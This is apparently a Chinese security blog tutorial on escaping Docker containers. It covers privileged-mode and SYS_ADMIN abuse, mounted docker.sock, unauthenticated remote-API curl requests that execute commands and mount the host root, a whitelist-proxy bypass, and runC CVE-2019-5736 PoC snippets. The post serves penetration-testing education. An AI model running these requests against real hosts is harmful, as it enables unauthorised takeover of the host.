Docker 逃逸
获取的一个Wegshell之后,需要判断是虚拟机或是物理机,还是 Docker
判断是否为 Docker
systemd-detect-virt -c
- none 不是容器
- 目前很少容器里面放
systemd
的,我见过的就只有 LXD 的ubuntu
镜像,因此这种方法适用性不广
查看 /.dockerenv
1
2
3
4
5
6
7docker
root@b7c29ed0e534:/# ls -alh /.dockerenv
-rwxr-xr-x 1 root root 0 Jun 13 08:42 /.dockerenv
非docker
~ ls -alh /.dockerenv
ls: cannot access '/.dockerenv': No such file or directory查询系统进程的cgroup信息
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29非docker
➜ ~ cat /proc/1/cgroup
12:memory:/init.scope
11:blkio:/init.scope
10:rdma:/
9:devices:/init.scope
8:pids:/init.scope
7:freezer:/
6:cpuset:/
5:net_cls,net_prio:/
4:perf_event:/
3:cpu,cpuacct:/init.scope
2:hugetlb:/
1:name=systemd:/init.scope
docker
root@b7c29ed0e534:/# cat /proc/1/cgroup
12:memory:/docker/b7c29ed0e534e78e91b7c7b80077633db9dcc8254853ec55981af6a346facd70
11:blkio:/docker/b7c29ed0e534e78e91b7c7b80077633db9dcc8254853ec55981af6a346facd70
10:rdma:/
9:devices:/docker/b7c29ed0e534e78e91b7c7b80077633db9dcc8254853ec55981af6a346facd70
8:pids:/docker/b7c29ed0e534e78e91b7c7b80077633db9dcc8254853ec55981af6a346facd70
7:freezer:/docker/b7c29ed0e534e78e91b7c7b80077633db9dcc8254853ec55981af6a346facd70
6:cpuset:/docker/b7c29ed0e534e78e91b7c7b80077633db9dcc8254853ec55981af6a346facd70
5:net_cls,net_prio:/docker/b7c29ed0e534e78e91b7c7b80077633db9dcc8254853ec55981af6a346facd70
4:perf_event:/docker/b7c29ed0e534e78e91b7c7b80077633db9dcc8254853ec55981af6a346facd70
3:cpu,cpuacct:/docker/b7c29ed0e534e78e91b7c7b80077633db9dcc8254853ec55981af6a346facd70
2:hugetlb:/docker/b7c29ed0e534e78e91b7c7b80077633db9dcc8254853ec55981af6a346facd70
1:name=systemd:/docker/b7c29ed0e534e78e91b7c7b80077633db9dcc8254853ec55981af6a346facd70
配置不当引发的 doker 逃逸
不安全的启动参数
以特权模式启动时,docker容器内拥有宿主机文件读写权限,可以通过写ssh公钥、计划任务等方式达到逃逸
条件
以–privileged 参数启动 docker container
获得 docker container shell,比如通过蜜罐漏洞、业务漏洞等途径获得参数
–cap-add=SYS_ADMIN 启动时虽然有挂载权限,但没发直接获得资源去挂载,需要其他方法获得资源或其它思路才能利用。
–net=host 启动时,绕过Network Namespace
–pid=host 启动时,绕过PID Namespace
–ipc=host 启动时,绕过IPC Namespace
–volume /:/host 挂载主机目录到container
网络如果没其他配置,docker不添加网络限制参数,默认使用桥接网络,通过docker0可以访问host
–privileged 利用
特权模式于版本0.6时被引入Docker,允许容器内的root拥有外部物理机root权限,而此前容器内root用户仅拥有外部物理机普通用户权限。
启动Docker容器。使用此参数时,容器可以完全访问所有设备,并且不受seccomp,AppArmor和Linux capabilities的限制
1 | 启动docker |
–cap-add=SYS_ADMIN 利用
Linux内核自版本2.2起引入功能(capabilities)机制,打破了UNIX/LINUX操作系统中超级用户与普通用户的概念,允许普通用户执行超级用户权限方能运行的命令。
截至Linux 3.0版本,Linux中共有38种capabilities。Docker容器默认限制为14个capabilities,管理员可以使用—cap-add和—cap-drop选项为容器精确配置capabilities。
当容器使用特权模式启动时,将被赋予所有capabilities。此外,在—cap-add的诸多选项中,SYSADMIN意为container进程允许执行mount、umount等一系列系统管理操作,因此当容器以—cap-add=SYSADMIN启动时,也将面临威胁。
- 条件
- 在容器内root用户
- 容器必须使用SYS_ADMIN Linux capability运行
- 容器必须缺少AppArmor配置文件,否则将允许mount syscall
- cgroup v1虚拟文件系统必须以读写方式安装在容器内部
1 | On the host |
docker.sock 简述
Docker采用C/S架构,我们平常使用的Docker命令中,docker即为client,Server端的角色由docker daemon扮演,二者之间通信方式有以下3种:
- unix:///var/run/docker.sock
- tcp://host:port
- fd://socketfd
其中使用docker.sock进行通信为默认方式,当容器中进程需在生产过程中与Docker守护进程通信时,容器本身需要挂载/var/run/docker.sock文件。
本质上而言,能够访问docker socket 或连接HTTPS API的进程可以执行Docker服务能够运行的任意命令,以root权限运行的Docker服务通常可以访问整个主机系统。
思路
当容器访问docker socket时,可通过与docker daemon的通信对其进行恶意操纵完成逃逸。
若容器A可以访问docker socket,可在其内部安装client(docker),通过docker.sock与宿主机的server(docker daemon)进行交互,运行并切换至不安全的容器B,最终在容器B中控制宿主机。
过程
1
2
3
4
5
6
7
8
9
10
11
12
13
14运行一个挂载 /var/run 的容器
➜ ~ docker run -it -v /var/run/:/host/var/run/ 183 /bin/bash
在容器内安装Docker作为client(根据网络情况换源)
root@6ac99fce30d9: apt-get install docker.io
查看宿主机 docker 信息
root@6ac99fce30d9: docker -H unix:///host/var/run/docker.sock info
运行一个新容器并挂载宿主机根路径
root@6ac99fce30d9: docker -H unix:///host/var/run/docker.sock run -v /:/aa -it ubuntu:14.04 /bin/bash
Docker ID已经变了,可以对主机的文件进行操作
root@1f63dc2c6a3a: ls /aa
docker remote api 未授权访问
docker.sock 暴露到公网并且可以未授权访问到 api
- 条件
- root权限启动docker
- API 版本大于1.5
docker swarm简述
docker swarm是管理docker集群的工具。主从管理、默认通过2375端口通信。绑定了一个Docker Remote API的服务,可以通过HTTP、Python、调用API来操作Docker。
启动
1
sudo docker daemon -H tcp://0.0.0.0:2375 -H unix:///var/run/docker.sock
在没有其他网络访问限制的主机上使用,则会在公网暴漏端口
HTTP 利用 api
RCE
列出所有容器
1
curl -i -s -X GET http://<docker_host>:PORT/containers/json
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24HTTP/1.1 200 OK
Api-Version: 1.39
Content-Type: application/json
Docker-Experimental: false
Ostype: linux
Server: Docker/18.09.4 (linux)
Date: Thu, 04 Apr 2019 05:56:03 GMT
Content-Length: 1780
[
{
"Id":"a4621ceab3729702f18cfe852003489341e51e036d13317d8e7016facb8ebbaf",
"Names":["/another_container"],
"Image":"ubuntu:latest",
"ImageID":"sha256:94e814e2efa8845d95b2112d54497fbad173e45121ce9255b93401392f538499",
"Command":"bash",
"Created":1554357359,
"Ports":[],
"Labels":{},
"State":"running",
"Status":"Up 3 seconds",
"HostConfig":{"NetworkMode":"default"},
"NetworkSettings":{"Networks":
...TIPS:留意Id字段
创建 exec
1
2
3
4
5
6
7
8
9
10
11
12
13
14POST /containers/<container_id>/exec HTTP/1.1
Host: <docker_host>:PORT
Content-Type: application/json
Content-Length: 188
{
"AttachStdin": true,
"AttachStdout": true,
"AttachStderr": true,
"Cmd": ["cat", "/etc/passwd"],
"DetachKeys": "ctrl-p,ctrl-q",
"Privileged": true,
"Tty": true
}1
2
3
4curl -i -s -X POST \
-H "Content-Type: application/json" \
--data-binary '{"AttachStdin": true,"AttachStdout": true,"AttachStderr": true,"Cmd": ["cat", "/etc/passwd"],"DetachKeys": "ctrl-p,ctrl-q","Privileged": true,"Tty": true}' \
http://<docker_host>:PORT/containers/<container_id>/exec1
2
3
4
5
6
7
8
9
10HTTP/1.1 201 Created
Api-Version: 1.39
Content-Type: application/json
Docker-Experimental: false
Ostype: linux
Server: Docker/18.09.4 (linux)
Date: Fri, 05 Apr 2019 00:51:31 GMT
Content-Length: 74
{"Id":"8b5e4c65e182cec039d38ddb9c0a931bbba8f689a4b3e1be1b3e8276dd2d1916"}TIPS:记录下Id
启动exec
1
2
3
4
5
6
7
8POST /exec/<exec_id>/start HTTP/1.1
Host: <docker_host>:PORT
Content-Type: application/json
{
"Detach": false,
"Tty": false
}1
2
3
4curl -i -s -X POST \
-H 'Content-Type: application/json' \
--data-binary '{"Detach": false,"Tty": false}' \
http://<docker_host>:PORT/exec/<exec_id>/start1
2
3
4
5
6
7
8
9
10
11HTTP/1.1 200 OK
Content-Type: application/vnd.docker.raw-stream
Api-Version: 1.39
Docker-Experimental: false
Ostype: linux
Server: Docker/18.09.4 (linux)
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
接管主机
启动一个docker容器,主机的根目录安装到容器的一个卷上,这样就可以对主机的文件系统执行命令。
条件:允许完全的控制API
下载镜像
1
2
3curl -i -s -k -X 'POST' \
-H 'Content-Type: application/json' \
http://<docker_host>:PORT/images/create?fromImage=ubuntu&tag=latest使用已安装的卷创建容器
1
2
3
4curl -i -s -k -X 'POST' \
-H 'Content-Type: application/json' \
--data-binary '{"Hostname": "","Domainname": "","User": "","AttachStdin": true,"AttachStdout": true,"AttachStderr": true,"Tty": true,"OpenStdin": true,"StdinOnce": true,"Entrypoint": "/bin/bash","Image": "ubuntu","Volumes": {"/hostos/": {}},"HostConfig": {"Binds": ["/:/hostos"]}}' \
http://<docker_host>:PORT/containers/create启动容器
1
2
3curl -i -s -k -X 'POST' \
-H 'Content-Type: application/json' \
http://<docker_host>:PORT/containers/<container_ID>/start
利用RCE对新容器运行命令,对文件系统进行操作
TIPS:如果要对Host OS运行命令,需要添加chroot/hostos
Docker python api
写入 ssh 密钥
1 | # coding:utf-8 |
计划任务
1 | import docker |
docker.sock暴露到容器内部
1 | 容器内部可以与docker deamon通信 |
docker.sock 配置白名单绕过
用户请求
/var/run/somethingelse.sock
,经由反向代理,将这些请求转发到/var/run/docker.sock
。反向代理根据预先保存在配置文件中的授权值白名单来决定是否请求
/var/run/docker.sock
。例如,只有当一个请求符合特定的HTTP方法(GET、POST等……)、路径(例r如
/containers/create
)和/或JSON体时,才可以让其通过。
挂载目录
白名单在验证
/dev/log:/dev/log
时通过
传递多个"Binds": ["/:/hostos", "/dev/log:/dev/log"]
挂载目录即可挂载成功
执行命令
执行/containers/{id}/exec时拦截 ,使用attach绕过
1 | curl -i -s --unix-socket /var/run/somethingelse.sock -X POST “http://localhost/containers/4fa6bfc84930/attach?logs=1&stream=1&stdin=true&stdout=true&stderr=true” |
挂载目录获取root权限
使用Docker API Cmd参数,不使用Entrypoint参数
1 | curl -i -s --unix-socket /var/run/somethingelse.sock -X POST -H 'Content-Type: application/json' --data-binary '{"Hostname": "","Domainname": "","User": "","AttachStdin": true,"AttachStdout": true,"AttachStderr": true, "Tty": true,"OpenStdin": true, "StdinOnce": true,"Entrypoint": "","Cmd": ["touch", "/hostos/root/1.txt"],"Image": "dockerint.company.com/xxx/imagename:1.0.0-SNAPSHOT","Volumes": {"/hostos/": {}}, "HostConfig": {"Binds": ["/:/hostos", "/dev/log:/dev/log"], "Privileged": true}}' http://localhost/containers/create |
容器服务缺陷
runC cve-2019-5736
runC
runC 管理容器的创建,运行,销毁等
Docker 运行时通常会实现镜像创建和管理等功能影响版本
平台或产品 受影响版本 Docker Version < 18.09.2 runC Version <= 1.0-rc6 利用链
不使用runC init覆盖:因为CVE-2016-9962 patch
Docker exec poc
循环等待 runC init的 PID -> open(“/proc/pid/exe”,O_RDONLY) -> execve()释放 runC的IO并覆盖runC二进制文件 -> execve()执行被覆盖 runC
恶意镜像poc
通过欺骗runC init execve -> runc 执行/proc/self/exe -> /proc/[runc-pid]/exe覆盖runC 二进制文件
POC 分析
Dockerfile
获取libseccomp文件并将run_at_link文件加入,runC启动运行libseccomp
1
2
3
4
5
6ADD run_at_link.c /root/run_at_link.c
RUN set -e -x ;\
cd /root/libseccomp-* ;\
cat /root/run_at_link.c >> src/api.c ;\
DEB_BUILD_OPTIONS=nocheck dpkg-buildpackage -b -uc -us ;\
dpkg -i /root/*.deboverwrite_runc添加docker中并编译
使入口点指向runc
1
2
3RUN set -e -x ;\
ln -s /proc/self/exe /entrypoint
ENTRYPOINT [ "/entrypoint" ]
run_at_link
run_at_link read runc binary 获得fd
1
2
3
4
5
6
7int runc_fd_read = open("/proc/self/exe", O_RDONLY);
if (runc_fd_read == -1 ) {
printf("[!] can't open /proc/self/exe\n");
return;
}
printf("[+] Opened runC for reading as /proc/self/fd/%d\n", runc_fd_read);
fflush(stdout);调用execve执行overwrite_runc
1
execve("/overwrite_runc", argv_overwrite, NULL);
overwrite_runc写入poc string
Docker cp (CVE-2019-14271)
Docker build code execution (CVE-2019-13139)
内核提权
Dirty cow
脏牛漏洞(CVE-2016-5195)与VDSO(虚拟动态共享对象)
Dirty Cow(CVE-2016-5195)是Linux内核中的权限提升漏洞,源于Linux内核的内存子系统在处理写入时拷贝(copy-on-write, Cow)存在竞争条件(race condition),允许恶意用户提权获取其他只读内存映射的写访问权限。竞争条件意为任务执行顺序异常,可能导致应用崩溃或面临攻击者的代码执行威胁。利用该漏洞,攻击者可在其目标系统内提升权限,甚至获得root权限。VDSO就是Virtual Dynamic Shared Object(虚拟动态共享对象),即内核提供的虚拟.so。该.so文件位于内核而非磁盘,程序启动时,内核把包含某.so的内存页映射入其内存空间,对应程序就可作为普通.so使用其中的函数。
在容器中利用VDSO内存空间中的“clock_gettime() ”函数可对脏牛漏洞发起攻击,令系统崩溃并获得root权限的shell,且浏览容器之外主机上的文件。
- 流程
- 使用内核漏洞进入内核上下文
- 获取当前进程的task struct
- 回溯 task list 获取 pid = 1 的 task struct,复制其相关数据
- 切换当前 namespace
- 打开 root shell,完成逃逸
参考
声明
- 博主初衷为分享网络安全知识,请勿利用技术做出任何危害网络安全的行为,否则后果自负,与本人无关!
- 部分学习内容来自网络,回馈网络,如涉及版权问题,请联系删除 orz
Author: AMao
Link: https://passenger-amao.github.io/2020/09/09/Docker%20%E9%80%83%E9%80%B8/
Copyright: 本站所有文章均采用 署名-非商业性使用-相同方式共享 4.0 国际(CC BY-NC-SA 4.0) 许可协议。转载请注明出处!